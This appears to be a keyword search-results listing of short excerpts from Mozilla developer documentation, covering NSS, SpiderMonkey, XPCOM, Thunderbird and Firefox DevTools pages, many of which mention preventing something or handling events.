nss 3.20.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_2_rtm/src/ security fixes in nss 3.20.2 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
NSS 3.21 release notes
nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
NSS 3.23 release notes
the build time environment variable nss_disable_chachapoly was added, which can be used to prevent compilation of the chacha20/poly1305 code.
NSS 3.24 release notes
counter mode and galois/counter mode (gcm) have checks to prevent counter overflow.
NSS 3.35 release notes
nss 3.30 had introduced a regression, preventing nss from reading some aes encrypted data, produced by older versions of nss.
NSS 3.48 release notes
bugs fixed in nss 3.48 bug 1600775 - require nspr 4.24 for nss 3.48 bug 1593401 - fix race condition in self-encrypt functions bug 1599545 - fix assertion and add test for early key update bug 1597799 - fix a crash in nssckfwobject_getattributesize bug 1591178 - add entrust root certification authority - g4 certificate to nss bug 1590001 - prevent negotiation of versions lower than 1.3 after helloretryrequest bug 1596450 - added a simplified and unified mac implementation for hmac and cmac behind pkcs#11 bug 1522203 - remove an old pentium pro performance workaround bug 1592557 - fix prng known-answer-test scripts bug 1586176 - encryptupdate should use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar "be...
NSS API Guidelines
nss_shutdown() closes these databases, to prevent further access by an application.
nss tech note7
to prevent denial-of-service attacks with huge public keys, nss disallows modulus size greater than 8192 bits.
NSS PKCS11 Functions
optimizespace - allocate smaller hash tables and lock tables.when this flag is not specified, softoken will allocatelarge tables to prevent lock contention.
NSS_Initialize
the following limitation applies when this is set : secmod_waitforanytokenevent will not use c_waitforslotevent, in order to prevent the need for c_finalize.
FIPS mode of operation
general-purpose functions fc_getfunctionlist fc_initialize fc_finalize fc_getinfo slot and token management functions fc_getslotlist fc_getslotinfo fc_gettokeninfo fc_waitforslotevent fc_getmechanismlist fc_getmechanisminfo fc_inittoken fc_initpin fc_setpin session management functions fc_opensession fc_closesession fc_closeallsessions fc_getsessioninfo fc_getoperationstate fc_setoperationstate fc_login fc_logout object management functions these functions manage certificates and keys.
NSS tools : crlutil
be sure to prevent unauthorized access to this file.
NSS tools : modutil
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
NSS tools : pk12util
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
gtstd.html
many who have attempted it have eventually come to regret that decision.
sslerr.html
revocation list has a critical extension." sec_error_crl_unknown_critical_extension -8043 "issuer's v2 certificate revocation list has an unknown critical extension." sec_error_unknown_object_type -8042 "unknown object type specified." sec_error_incompatible_pkcs11 -8041 "pkcs #11 driver violates the spec in an incompatible way." sec_error_no_event -8040 "no new slot event is available at this time." sec_error_crl_already_exists -8039 "crl already exists." sec_error_not_initialized -8038 "nss is not initialized." sec_error_token_not_logged_in -8037 "the operation failed because the pkcs#11 token is not logged in." sec_error_ocsp_responder_cert_invalid -8036 "the configured oc...
Utility functions
r secmod_pubcipherflagstointernal mxr 3.4 and later secmod_pubmechflagstointernal mxr 3.4 and later secmod_unloadusermodule mxr 3.4 and later secmod_updatemodule mxr 3.4 and later secmod_updateslotlist mxr 3.9.3 and later secmod_waitforanytokenevent mxr 3.9.3 and later secoid_addentry mxr 3.10 and later secoid_comparealgorithmid mxr 3.2 and later secoid_copyalgorithmid mxr 3.2 and later secoid_destroyalgorithmid mxr 3.2 and later secoid_findoid mxr 3.2 and later secoid_findoid...
NSS Tools certutil
be sure to prevent unauthorized access to this file.
NSS Tools crlutil
be sure to prevent unauthorized access to this file.
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
be sure to prevent unauthorized access to this file.
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
NSS tools : pk12util
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
NSS tools : signver
MozillaProjectsNSStoolssignver
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously.
Multithreading in Necko
for example, on xp_win an invisible window is created with a message pump on a background thread for processing wsa asynchronous dns events.
Necko
eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses this library without having to build mozilla.
Rhino license
in no event shall the copyright owner or * contributors be liable for any direct, indirect, incidental, special, * exemplary, or consequential damages (including, but not limited to, * procurement of substitute goods or services; loss of use, data, or * profits; or business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort (including * neglige...
Rhino overview
these features are generally not broadly useful, yet they impose significant constraints on implementations that hamper or prevent optimization.
Performance Hints
with using the with statement prevents the compiler from generating code for fast access to local variables.
Rhino serialization
if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will prevent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
GCIntegration - SpiderMonkey Redirect 1
write barriers all the schemes for preventing this sort of thing require write barriers.
Hacking Tips
(per proces a "tl-data-*pid*.json" file and per thread a "tl-tree.*pid*.*id*.tl", "tl-event.*pid*.*id*.tl" and "tl-dict.*pid*.*id*.json" file).
Exact Stack Rooting
this prevents an entire class of bugs where return values are not rooted properly before the next js-api call.
Garbage collection
but this also means that pre-barriers are inadequate to prevent incremental gc from missing edges due to graph mutation.
Tracing JIT
all transitions out of recording mode eventually involve returning to monitoring mode: if the recorder is asked to record a bytecode that it cannot, for various low-level reasons, faithfully record, the recorder may choose to abort the recording.
Self-hosted builtins in SpiderMonkey
this is to prevent accidentally calling content functions when assuming that content can't interfere with behavior.
JIT Optimization Outcomes
singleton one of the types present in the typeset was a singleton type, preventing the optimization from being enabled.
JIT Optimization Strategies
it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can prevent them from being used, and common ways to enable the engine to utilize that optimization.
JSAPI Cookbook
specify writable: false to make the property read-only and configurable: false to prevent it from being deleted or redefined.
JS::CompileOffThread
after successfully triggering an off thread compile of a script, the callback will eventually be invoked with the specified data and a token for the compilation.
JSConvertOp
(support for the other types may eventually be removed.) the callback returns true to indicate success or false to indicate failure.
JSErrorReport
in the event of an error, filename will either contain the name of the external source file or url containing the script (script src=) or null, indicating that a script embedded in the current html page caused the error.
JSNative
(this structure is now provided in "js/callargs.h" added in spidermonkey 24 as well as through "jsapi.h".) this structure encapsulates access to the callee function, this, the function call's arguments, and the eventual return value.
JSObjectPrincipalsFinder
therefore null does not mean an error was reported; in no event should an error be reported or an exception be thrown by this callback's implementation.
JS_ForgetLocalRoot
calling it successively on other than the most recently allocated gc-thing will tend to average the time inefficiency, and may risk o(n2) growth rate, but in any event, you shouldn't allocate too many local roots if you can root as you go (build a tree of objects from the top down, forgetting each latest-allocated gc-thing immediately upon linking it to its parent).
JS_GetStringChars
(eventually, str becomes unreachable, the garbage collector collects it, and the array is freed by the system.) js_getstringcharsz is the same except that it always returns either a null-terminated string or null, indicating out-of-memory.
JS_Init
this restriction may eventually be lifted.
JS_InitClass
however, the prototype object will eventually be finalized (jsclass.finalize).
JS_IsExtensible
see also mxr id search for js_preventextensions js_preventextensions bug 492845 ...
JS_LeaveLocalRootScopeWithResult
this slot is rooted, but the value will eventually be overwritten by some other operation, and it is very difficult to figure out exactly when this will happen—or more to the point, guarantee that it won't happen in the time it takes some specific chunk of code to run.
JS_MaybeGC
calling js_maybegc when the application is idle can help prevent garbage collection from happening at less convenient times.
JS_SetGCCallback
the callback may prevent gc from starting by returning false.
JS_SetOptions
mxr id search for jsoption_native_branch_callback jsoption_dont_report_uncaught when returning from the outermost api call, prevent uncaught exceptions from being converted to error reports.
JS_ShutDown
this restriction may eventually be lifted.
JS_TracerInit
it is the callback's responsibility to ensure the traversal of the full object graph, if desired, by eventually calling js_tracechildren on the passed thing.
JSAPI reference
tprototype added in jsapi 17 js_getfunctionprototype added in spidermonkey 17 js_getarrayprototype added in spidermonkey 24 js_getconstructor js_getglobalforobject js_getinstanceprivate js_getprototype js_setprototype js_getprivate js_setprivate js_freezeobject added in spidermonkey 1.8.5 js_deepfreezeobject added in spidermonkey 1.8.5 js_isextensible added in spidermonkey 1.8.5 js_preventextensions added in spidermonkey 45 js_instanceof js_hasinstance js_isnative added in spidermonkey 17 js::toprimitiveadded in spidermonkey 45 js::newfunctionfromspecadded in spidermonkey 45 js_defaultvalueobsolete since jsapi 44 js_get_class obsolete since jsapi 13 js_sealobject obsolete since javascript 1.8.5 js_getparent obsolete since jsapi 39 js_setparent obsolete since jsapi 39 ...
SpiderMonkey 24
the extension eventually became an evolutionary dead end, as tc39 chose not to incorporate it into ecmascript proper.
Shell global objects
printprofilerevents() register a callback with the profiler that prints javascript profiler events to stderr.
TPS Tests
a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (from a single sync account) over a series of different events and clients.
Thread Sanitizer
runtime suppressions to prevent races from showing up at runtime, tsan also provides a runtime suppression list.
Zest usecase: Reporting Security Vulnerabilities to Developers
in this case the sequence of events could be: the security team discovers a vulnerability using specialist security tools they use those tools to create a zest script which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local environment they run the script and see the vulnerability they fix the vulnerability they rerun the script to check that the v...
The Rust programming language
it prevents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax.
Exploitable crashes
the last number, in this case 0x00000000, is the memory address firefox was prevented from accessing.
Handling Mozilla Security Bugs
we believe that investing this power in the bug reporter simply acknowledges reality, as nothing prevents the person reporting a security bug from publicizing information about the bug by posting it to channels outside the context of the mozilla project.
Setting up an update server
this is a security measure designed to prevent anyone from serving malicious updates.
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
Task graph
this means it's easy to add a new job or tweak the parameters of a job in a try push, eventually landing that change on an integration branch.
ROLE_ALERT
mapped to at-spi: role_alert atk: atk_role_alert msaa/ia2: role_system_alert ua: nsaccessibilitywindowrole events event_alert - fires when the widget is shown.
XForms Accessibility
message used in combination with event listeners to display a message to the user when the specified event occurs (see the spec, the docs).
XUL Accessibility
alue="it's label for control" control="control" /> <hbox role="grouping" id="control" /> get tooltiptext attribute value if the aria role is used and it allows to have accessible value then aria-valuetext or aria-valuenow are used if the element is xlink then value is generated from link location actions if the element is xlink then jump action is exposed if the element has registered click event handler then click action is exposed xul elements notification used to display an informative message.
History Service Design
schema version is upgraded every time a change is made to the database schema, history service will eventually upgrade the database, moving and fixing its datas accordingly.
FUEL
objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code...
SMILE
objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
STEEL
objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage steeliapplication objects steeliapplication xpcom although the steel steeliapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
extIApplication
events readonly attribute extievents the events object for the application.
extISessionStorage
return type method boolean has(in astring aname) void set(in astring aname, in nsivariant avalue) nsivariant get(in astring aname, in nsivariant adefaultvalue) attributes attribute type description events readonly attribute extievents the events object for the storage supports: "change" methods has() determines if a storage item exists with the given name.
Fun With XBL and XPConnect
creating the event handler the last part is the easy part.
How to build an XPCOM component in JavaScript
d # use dom if your component implements a dom api module = dom # name of the typelib xpidl_module = dom_apps # set to 1 if the module should be part of the gecko runtime common to all applications gre_module = 1 # the idl sources xpidlsrcs = \ helloworld.idl \ $(null) include $(topsrcdir)/config/rules.mk xpidl_flags += \ -i$(topsrcdir)/dom/interfaces/base \ -i$(topsrcdir)/dom/interfaces/events \ $(null) creating the component using xpcomutils in firefox 3 and later you can use import xpcomutils.jsm using components.utils.import to simplify the process of writing your component slightly.
An Overview of XPCOM
these services include a cross platform file abstraction which provides uniform and powerful access to files, directory services which maintain the location of application- and system-specific locations, memory management to ensure everyone uses the same memory allocator, and an event notification system that allows passing of simple messages.
Interfacing with the XPCOM cycle collector
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n).
Components.utils.Sandbox
for example, the code in the sandbox might be a third-party library that sets expando properties or adds event listeners to a window.
HOWTO
put the following at the end of your script: // do async processing // from <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> print("doing async work"); gscriptdone = false; var gthreadmanager = cc["@mozilla.org/thread-manager;1"] .getservice(ci.nsithreadmanager); var mainthread = gthreadmanager.currentthread; while (!gscriptdone) mainthread.processnextevent(true); while (mainthread.haspendingevents()) mainthread.processnextevent(true); 2.
IAccessibleHyperlink
this is a volatile state that may change without sending an appropriate event.
imgIContainer
it is an error to pass this flag from a call stack that originates in a decoder (that is, from a decoder observer event).
imgIEncoder
quality >= 90 prevents down-sampling of the color channels.
nsIAccessibleTreeCache
treeviewinvalidated() fires name change events for invalidated area of tree.
nsIAppStartup_MOZILLA_2_0
toolkit/components/startup/public/nsiappstartup.idlscriptable this lets you get information about the times at which key application startup events occurred.
nsIApplicationUpdateService
void adddownloadlistener( in nsirequestobserver listener ); parameters listener an object implementing nsirequestobserver and optionally nsiprogresseventsink that will be notified of state and progress information as the update is downloaded.
nsIAuthPrompt2
this way we prevent multiple dialogs shown to the user because consumer may fall back to synchronous prompt on synchronous failure of this method.
nsIBrowserHistory
adobatchnotify obsolete since gecko 9.0 if set to true, the beginupdatebatch and endupdatebatch events are sent; otherwise, no notification of changes to the history is provided.
nsICacheEntryDescriptor
checked before we write to the cache entry, to prevent ever taking up space in the cache for an entry that we know up front is going to have to be evicted anyway.
nsICacheService
etemporaryclientid(in nscachestoragepolicy storagepolicy); obsolete since gecko 1.9.2 void evictentries(in nscachestoragepolicy storagepolicy); void init(); obsolete since gecko 1.8 void shutdown(); obsolete since gecko 1.8 void visitentries(in nsicachevisitor visitor); attributes attribute type description cacheiotarget nsieventtarget the event target for cache i/o operation notifications.
nsIChromeFrameMessageManager
see also content process event handling nsicontentframemessagemanager nsiframeloader nsiframemessagelistener ...
nsIDOMWindowInternal
this interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely.
nsIDeviceMotionData
see also mozorientation nsidomorientationevent nsidevicemotionlistener nsidevicemotion ...
nsIDeviceMotionListener
see also mozorientation nsidomorientationevent nsidevicemotion nsidevicemotiondata ...
nsIDownloadHistory
this will also notify observers that the uri asource is visited with the topic ns_link_visited_event_topic if asource has not yet been visited.
nsIDownloadProgressListener
in such a situation no further event handlers are called and the stop flag is set; if there are more pending downloads in such a situation not yet started they never start.
nsIDragSession
onlychromedrop boolean indicates if the drop event should be dispatched only to chrome.
nsIEditor
clipboard methods void cut(); boolean cancut(); void copy(); boolean cancopy(); void paste(in long aselectiontype); boolean canpaste(in long aselectiontype); selection methods void selectall(); void beginningofdocument(); void endofdocument(); drag/drop methods boolean candrag(in nsidomevent aevent); void dodrag(in nsidomevent aevent); void insertfromdrop(in nsidomevent aevent); node manipulation methods void setattribute(in nsidomelement aelement, in astring attributestr,in astring attvalue); boolean getattributevalue(in nsidomelement aelement, in astring attributestr, out astring resultvalue); void removeattribute(in nsidomeleme...
nsIFeedProcessor
cessor); method overview void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parsefromstream(in nsiinputstream stream, in nsiuri uri); void parsefromstring(in astring str, in nsiuri uri); attributes attribute type description listener nsifeedresultlistener the feed result listener that will respond to feed events.
nsIFeedProgressListener
note: if the feed type is one of the entry or item-only types, this event will never be called.
nsIFeedResultListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable this interface should be implemented by programs to receive events from the feed parser as parsing progresses.
nsIFrameMessageListener
see also content process event handling nsiframelistener ...
nsIFrameMessageManager
see also content process event handling nsiframemessagelistener nsisyncmessagesender ...
nsIHttpChannel
this attribute is true by default, though other factors may prevent pipelining.
nsIHttpChannelInternal
the onstartrequest and onstoprequest events are still delivered and the listener gets full control over the socket if and when nsihttpupgradelistener.ontransportavailable() is delivered.
nsIInProcessContentFrameMessageManager
see also content process event handling nsicontentframemessagemanager ...
nsIJetpack
warning: bug 589308 prevents this message from being sent in some situations.
nsIJumpListBuilder
to prevent repeatedly adding entires users have removed, applications are encouraged to track removed items internally.
nsIMemoryReporter
units_count_cumulative 2 the amount contains the number of times some event has occurred since the application started up.
nsIMsgAccountManagerExtension
return value a true indicates, that the account manager can display the panel for the given account, while false prevents the panel to be loaded.
nsIMsgDBHdr
it is also mandatory to set msghdr.folder.msgdatabase = null after performing this kind of operations to prevent leaking.
nsINavBookmarksService
dynamic containers were removed in gecko 11, but the type index remains to prevent reuse.
nsIPushService
} ); receiving push messages subscriptions created from privileged code use xpcom observer notifications instead of service worker events.
nsIPushSubscription
service(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"] .getservice(ci.nsipushservice); function sendsubscriptiontoserver(subscription) { let request = cc["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(ci.nsixmlhttprequest); request.open("post", "https://example.com/register-for-push", true); request.addeventlistener("error", () => { cu.reporterror("error sending subscription to server"); }); request.send(json.stringify({ endpoint: subscription.endpoint, // base64-encode the key and authentication secret.
nsISHistory
for example to control memory usage of the browser, to prevent users from loading documents from history, to erase evidence of prior page loads and so on.
nsIScriptError2
you may pass null if you are lazy; that will prevent showing the source line in javascript console.
nsISecurityCheckedComponent
note that if wrapper creation is prevented, the properties and methods will not be defined on the javascript object, whereas if wrapper creation succeeds but methods/properties are prevented, the properties and methods will be visible, not not usable.
nsIStringBundleService
typically used to format a message received by a nsiprogresseventsink's onstatus method.
nsITaskbarTabPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab preview support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpreview for a window will automatically hide that window's nsitaskbarwindowpreview; this is done by windows and cannot be prevented.
nsITaskbarWindowPreview
there is existing infrastructure in place to let clients handle those events.
nsIThreadManager
see also the thread manager nsithread nsithreadpool nsithreadinternal nsithreadobserver nsithreadeventfilter prthread ...
nsITimerCallback
xpcom/threads/nsitimer.idlscriptable defines the callback interface for nsitimer events.
nsIURI
this is useful for authentication, managing sessions, or for checking the origin of an uri to prevent cross-site scripting attacks while using methods such as window.postmessage().
nsIUrlListManagerCallback
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleevent(in acstring value); methods handleevent() void handleevent( in acstring value ); parameters value ...
nsIWebBrowser
the embedder may set this property to their own implementation if they intend to override or prevent how certain kinds of content are loaded.
nsIWebBrowserPersist
cookies, permanent cache, etc.) null must only be passed in the event that no such relevant context exists (ie.
nsIWorker
method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port.
nsIXMLHttpRequestUpload
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXPConnect
ascope the scope to be used in the event that we create an xpccrossoriginwrapper.
nsIXULRuntime
if a component encounters startup errors that might prevent the app from showing proper ui, it should set this flag to true.
nsIXULWindow
that is, ensures that it is visible and runs a local event loop, exiting only once the window has been closed.
nsIXmlRpcClient
parameters listener a nsixmlrpcclientlistener that will get notified of xml-rpc events ctxt a context to be passed on to the listener methodname remote method to call arguments array of arguments to pass to the remote method count void asynccall ( in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, [array, size_is(count)] in nsisupports arguments, in pruint32 count ); createtype() convenience: return the correct nsis...
nsIZipWriter
in the event of an early failure, the remaining items stay in the queue; calling processqueue() again will continue where operations left off.
nsMsgFolderFlagType
er const nsmsgfolderflagtype imapnoselect = 0x01000000; /// this folder created offline const nsmsgfolderflagtype createdoffline = 0x02000000; /// this imap folder cannot have children :-( const nsmsgfolderflagtype imapnoinferiors = 0x04000000; /// this folder configured for offline use const nsmsgfolderflagtype offline = 0x08000000; /// this folder has offline events to play back const nsmsgfolderflagtype offlineevents = 0x10000000; /// this folder is checked for new messages const nsmsgfolderflagtype checknew = 0x20000000; /// this folder is for spam messages const nsmsgfolderflagtype junk = 0x40000000; /// this folder is in favorites view const nsmsgfolderflagtype favorite = 0x80000000; /// special-use fol...
Setting HTTP request headers
trapping other requests is done with notifications, which are a lot like events or signals found in other languages and frameworks.
Status, Recent Changes, and Plans
bug 59414: making operator& private may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library.
Working with Multiple Versions of Interfaces
this is because the call to do_createinstance(acid, aouter, error); will eventually evolve into a request for an object supporting the interface with iid ns_get_iid(nsiaccessibleretrieval).
XPCOM
it is available to trusted callers, meaning extensions and firefox components only.the thread managerthe thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.
XPIDL Syntax
MozillaTechXPIDLSyntax
unlike the c preprocessor, when a file is included multiple times, it acts as if the subsequent includes did not happen; this prevents the need for include guards.
XPIDL
if a method is declared notxpcom, the mangling of the return type is prevented, so it is called mostly as it looks.
nsIMsgCloudFileProvider
void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); parameters awithui whether or not the provider should prompt the user for credentails in the event that the stored credentials have gone stale.
Filelink Providers
for each input event, the checkvalidity method of the form is automatically called.
Mail and RDF
eventually we'll probably hang mail filters, annotations, etc, off of nodes in the graph.
Thunderbird API documentation
general mail client architecture overview mail event system events new!
Building a Thunderbird extension 5: XUL
we add widgets by inserting new xul dom elements into the application window and modify them using scripts and attaching event handlers.
Detect Opening Folder
to do this you need to capture the select event of the folder [[xul:tree|tree]] whose id is (conveniently) foldertree like so: window.document.getelementbyid('foldertree').addeventlistener("select", testcolumns, false); ...
Filter Incoming Mail
e're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/msgnotificationservice;1"] .getservice(components.interfaces.nsimsgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
Use SQLite
le); } this.dbconnection = dbconnection; }, _dbcreate: function(adbservice, adbfile) { var dbconnection = adbservice.opendatabase(adbfile); this._dbcreatetables(dbconnection); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('ins...
Tips and Tricks from the newsgroups
essage has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Zombie compartments
b (00.10%) ── style-sheets │ │ │ ├──0.33 mb (00.07%) -- dom │ │ │ │ ├──0.17 mb (00.04%) ── text-nodes │ │ │ │ ├──0.13 mb (00.03%) ── element-nodes │ │ │ │ ├──0.02 mb (00.00%) ── other │ │ │ │ ├──0.01 mb (00.00%) ── orphan-nodes │ │ │ │ └──0.00 mb (00.00%) ── event-targets │ │ │ └──0.00 mb (00.00%) ── property-tables │ │ └───5.93 mb (01.19%) -- js-zone(0x13ffa0000) │ │ ├──1.92 mb (00.39%) ── unused-gc-things │ │ ├──1.28 mb (00.26%) -- lazy-scripts │ │ │ ├──1.03 mb (00.21%) ── gc-heap │ │ │ └──0.25 mb (00.05%) ── malloc-heap │ │ ...
Using Objective-C from js-ctypes
lobalblock; // global flags bl.flags = block_const.block_has_stret; bl.reserved = 0; bl.invoke = afunctypeptr; // create descriptor var desc = block_descriptor_1(); desc.reserved = 0; desc.size = block_literal_1.size; // set descriptor into block literal bl.descriptor = desc.address(); return bl; } an example of this function in use can be seen here: _ff-addon-snippet-objc_monitorevents - shows how to monitor and block mouse and key events on mac os x ...
Declaring types
these are all primitive types, upon which all other types are eventually based.
Flash Activation: Browser Comparison - Plugins
even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin.
Plug-in Side Plug-in API - Plugins
npp_handleevent delivers a platform-specific window event to the instance.
Structures - Plugins
npevent represents an event passed by npp_handleevent to a windowless plug-in.
DOM Inspector FAQ - Firefox Developer Tools
those nodes whose white-space css property value prevents the user-agent from collapsing sequences of whitespace will not be hidden.
Introduction to DOM Inspector - Firefox Developer Tools
(note that there are bugs which prevent the flasher from dom inspector apis from working correctly on certain platforms.) if you inspect the main browser window, for example, and select nodes in the dom nodes viewer (other than the elements which have no visible ui as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a ...
Debug eval sources - Firefox Developer Tools
in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
Step through code - Firefox Developer Tools
this lets you know what kind of breakpoint the code is paused on (breakpoint, event breakpoint, etc.), and also provides a step button and a play button.
Set an XHR breakpoint - Firefox Developer Tools
scopes a list of the values that are in scope in the function, method, or event handler where the break occurred.
Source map errors - Firefox Developer Tools
the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fetch resource a bug in firefox prevents it from loading source maps for web extensions.
UI Tour - Firefox Developer Tools
the ui is split vertically into three panels source list pane source pane the contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar watch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
Debugger.Script - Firefox Developer Tools
a dom event handler, whether embedded in html or attached to the element by other javascript code.
The Firefox JavaScript Debugger - Firefox Developer Tools
there are multiple ways to tell the debugger how and when to pause: set a breakpoint set a conditional breakpoint set an xhr breakpoint set event listener breakpoints break on exceptions use watchpoints for property reads and writes break on dom mutation disable breakpoints control execution what can you do after execution pauses?
Deprecated tools - Firefox Developer Tools
not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are eventually removed.
Aggregate view - Firefox Developer Tools
for example, dom event objects are allocated before the javascript is run and event handlers are called.
Dominators - Firefox Developer Tools
these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector from freeing that extra memory.
Monster example - Firefox Developer Tools
for (var i = 0; i &lt; monster_count; i++) { monsters.friendly.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.fierce.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.undecided.push(new monster()); } console.log(monsters); } var makemonstersbutton = document.getelementbyid("make-monsters"); makemonstersbutton.addeventlistener("click", makemonsters); the page contains a button: when you push the button, the code creates some monsters.
Animation inspector example: CSS transitions - Firefox Developer Tools
on != 0) { return; } if (e.target.classlist.contains("icon")) { var wasselected = (e.target.getattribute("id") == "selected"); clearselection(); if (!wasselected) { e.target.setattribute("id", "selected"); } } } function clearselection() { var selected = document.getelementbyid("selected"); if (selected) { selected.removeattribute("id"); } } document.addeventlistener("click", toggleselection); ...
Animation inspector example: Web Animations API - Firefox Developer Tools
frameset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) { iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.reverse(); noteanimation.reverse(); } } document.addeventlistener("click", animatechannel); ...
How to - Firefox Developer Tools
css flexbox inspector: examine flexbox layoutscss grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web consoleview background imagesvisualize transformswork with animations ...
Page Inspector - Firefox Developer Tools
